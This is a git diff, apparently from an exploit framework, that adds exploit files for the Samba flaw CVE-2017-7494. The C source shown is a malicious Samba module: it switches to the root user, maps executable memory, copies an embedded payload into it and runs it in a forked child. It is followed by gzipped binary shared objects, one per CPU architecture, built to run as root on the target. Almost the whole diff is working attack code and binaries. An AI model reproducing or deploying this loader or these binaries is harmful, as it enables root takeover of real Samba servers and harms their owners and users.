0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}; + +extern bool change_to_root_user(void); + +// Samba 4 looks for samba_init_module +int samba_init_module(void) +{ + void *mem; + void (*fn)(); + + change_to_root_user(); + mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); + if (mem == MAP_FAILED) + return 0; + + memcpy(mem, payload, PAYLOAD_SIZE); + fn = (void(*)())mem; + + if (! fork()) { + fn(); + kill(getpid(), 9); + } + return 0; +} + +// Samba 3 looks for init_samba_module +int init_samba_module(void) { return samba_init_module(); } diff --git a/data/exploits/CVE-2017-7494/samba-root-system-aarch64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-aarch64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..65d445fb7b0ea314c5c9f4a2ff3e84e052f7b8d4 GIT binary patch literal 2429 zcmV-@34- z6+Sawzv3odC(eT=!Rsg@iIB%hlh!sMytdsCWJ{#wUN z0Ll5SL1AVkVP{rKoIJjR@Dn?DJDJ+eQ@eSp&*Tl-6ed}*5gMi_@0DADmk}yI{3k0_ z0}qZUmBYv`vPAo~%fLy=Rcdz6 zVGq^mI@m8m?DH$0tLyn(bv$CHHKMS_R=&JvuDAcSyVw5kl~29!;_dA({rV#tDyMB)OX4voH?Ft3yU&i%sfM3uF z*-ZJnA^Crr>Yu0jJ1Kvg>U+zLVtxO({4PX)9oBycX6tzUA_`5YcAZh8AKgaye}>c( zRCPSB7gW>I3`*8lze7%dGb@3~>2}{>=Pq}q2-o39xUA%ie-r(Zh^^CcA z_d2lM#k;5e;>qim7OP+yt^a2iPu{$Eqe{Jl_Z7rXp>3k+exelpefM-sZn@JEt9p$E zly;>_j+de`;4~bsLGdlF_zD#7b;Vbq_^2zs8pWS=#n++u*Gc>oDjWWoD4~7$>O#4^ z-mceaR4v5Mx5hS40}8F1V7e78N!^{Wa0y@prBAiKo+$Mon;5j*3A91_t#9|8X??rr zizu9V0qH)A?0V-DCA8IFjZ?eDlP}?Zxz_-tGsynwEl+jDC3qCqYc^3r@+t~fU_-q0 zlXCgouTY4=so|%$Z0@?(5HBsB{OLuK&-F{Tjhz=<=$MuuUP5c}_w2q#HtTVn?5kx(ip_Aao$Je`DVxe zhUfkMScG5a<7}-6ER?fc5=+w?y*K z)CJYYKR-W&^YQaU-#<@|O2Pff+S?fo?$7fNI4&d~|NZq0uBV?T`u=hJk`z3?5K`{f zu)cr1Uc~%D*?T{Jhw6L#=Ni@b-lwD={OivvQn26WT`Aaa@+~RYZ*`9x>>s&S4)$Ap zj~whj+9n74W$q5izdI!VVL7;6njGv`YRbX>vY(ZM{Xw4(sn6LE{=6LApBF>w`Qs4& zjvVYqJ0}PGze0P_G}?37(f09VvMp)orrEA(Ml$o*p0-@JP@HHRFBIF+#@wzbm4Cm6 zodZg+MbfaciVj;RAgSeY>L=3LF?Fo)&J^D3@WhC!LdCOI zweo7x_MkOkYYHi)bagzZk7_wJW$A{gYDH96J%2oxw$dr3{pleDfW2ly8VdbahH>> z?Gelo%=MSJExX)&NlSQL-r@Pde2|&PGIkese23kh#sO~5;XcxSH)i5@4T?FLx3p0t zErZAmyDI2bT0t{R87*dWskUqia4e&l8BkJ_1!PI2WssB;X~WFw1umkZG$WnUY(;u? zJZFJ|OINJ)1p39DsH8Jwx{x$7Q%D-SKAJRefm%MBM1|-U{vr9{;ZRWbfPyA&9?h`- z(mCDsU#bO{-%!YRAS!zm4+Vw4m&-b{XXkMypLEW01m0t6Cse-MfX@*!FWL7XA~X+X z&-{_%lxOzre9vUm|2YB<`+@i{F?;qLz@*}-zwD8Rf%rtRID1}TGUn6PS!HQ~xhed)EK#JjY~Y8T+&N6k8de%6CnI=esw40myerm_0i` z&px32w`u(yKR{|f_ki}_rG3ZjE8mYHarWJqh{vAw>orgL?3{U}v2uS0mCxjLZ~dwL zTw~?_T+04sk3Bmt@1zynux;t~-=Z9|XXml~9l`qE_2X5_?ewlI)c(C8_DnWGuy5q8 v9wJ{~rhNC@bz_2-pP~1W?YH{=fcw8br2N?r68RT->GJ;t=g<}CFi8LaVLAt9 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-armel.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-armel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..67936df2fcc7076b599a1feaa060549d9e04336c GIT binary patch literal 2515 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 S{6o1j-+ur)wDnC;MF0TqcNQc7 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-mips.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-mips.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..466dc5e0645255f512f84d1bcbe68229248a8b1b GIT binary patch literal 2579 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-mips64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-mips64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..4a2ee0fa43434caf3610e2a76f7367d61f226b2b GIT binary patch literal 2653 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 